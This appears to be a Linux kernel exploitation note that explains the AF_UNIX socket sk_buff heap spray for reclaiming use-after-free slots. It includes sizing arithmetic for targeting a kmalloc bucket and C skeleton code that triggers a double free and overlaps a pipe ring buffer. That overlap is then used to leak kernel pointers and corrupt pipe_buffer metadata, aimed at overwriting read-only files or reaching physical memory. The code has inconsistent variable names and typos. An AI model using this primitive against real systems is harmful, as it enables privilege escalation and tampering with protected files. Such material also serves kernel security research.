sockets
AF_UNIX socket (
skb) spray
Ths is quite same idea as pipe_buffer/msg_msg overlap technique. Get a size-controlled kmalloc object into a UAF freed slot. Here the object is the data buffer of a struct sk_buff, not the sk_buff struct itself.
// net/core/skbuff.c — __alloc_skb()
data = kmalloc_reserve(&size, gfp_mask, node, skb); allocation
skb->head/skb->data point at this buffer. Reading/writing the socket reads/writes straight into it — that’s the overlap primitive.
Sizing — landing in a target kmalloc-N bucket
Before the size you write() becomes a kmalloc request, the kernel pads it:
// include/linux/skbuff.h
#define SKB_HEAD_ALIGN(X) (SKB_DATA_ALIGN(X) + SKB_DATA_ALIGN(sizeof(struct skb_shared_info)))
So the real allocation = your_write_len + sizeof(struct skb_shared_info) (cache-line aligned), rounded up to the nearest kmalloc-N . skb_shared_info is ~0x140 bytes on common build. To land exactly in a target bucket:
write_len = target_kmalloc_size - 0x140
If you go slightly over then it rounds into the next bucket instead, resulting ini incorrect cache and no overlap.
How to ?
socketpair(AF_UNIX, SOCK_STREAM, 0, ss)— create two connected sockets.ss[0]/ss[1]are peers (unix_peer()points them at each other).write(ss[0], buf, write_len)— allocates a fresh skb sized as above, copiesbufintoskb->data, queues it onss[1]’ssk_receive_queue. This is the spray/reclaim step.read(ss[1], buf, write_len)— copiesskb->databack out tobuf. If that memory now belongs to something else (UAF reuse), this leaks it. Writing again viawrite()after the something-else has taken the same object corrupts it instead.
char sk_buf[1024 - 0x140] = {0}; // targets kmalloc-1024
int socket[2];
socketpair(AF_UNIX, SOCK_STREAM, 0, socker);
free_uaf_object();
write(socket[0], sk_buf, sizeof(sk_buf)); //skb data buffer reclaims the freed slot
free_uaf_object(); // for double free
pipe(pipefd);
write(pipefd[1], "WWWWW", 5); // Now the same kmalloc-1024 object overlaps in pipe's ring buffer and iin sk buffer.
//sk_buf now holds the victim object's raw bytes
// Following read via sockets dumps the raw memory of ring buffer leaking kernel pointer, page structs and meta data.
read(socket[1], sk_buf, sizeof(sk_buf));
// to corrupt instead of just leak: edit sk_buf, then
update_sk_buf_array_with_corrupted_pipe_ring_bufffer_content();
write(ss[0], sk_buf, sizeof(sk_buf)); // writes it back(updates the ring buffer of pipe_buffer struct)
- This overlapping can be used to either update meta data of pipe_buffer struct and edit read only files or we can traverse the entire physical memory by changing the struct page pointer on the pipe_buffer struct.
Code references
net/unix/af_unix.c—unix_socketpair(),unix_stream_sendmsg(),unix_stream_recvmsg()/unix_stream_read_generic()net/core/skbuff.c—__alloc_skb(),kmalloc_reserve(),__finalize_skb_around()net/core/datagram.c—skb_copy_datagram_from_iter()(write path),skb_copy_datagram_iter()(read path)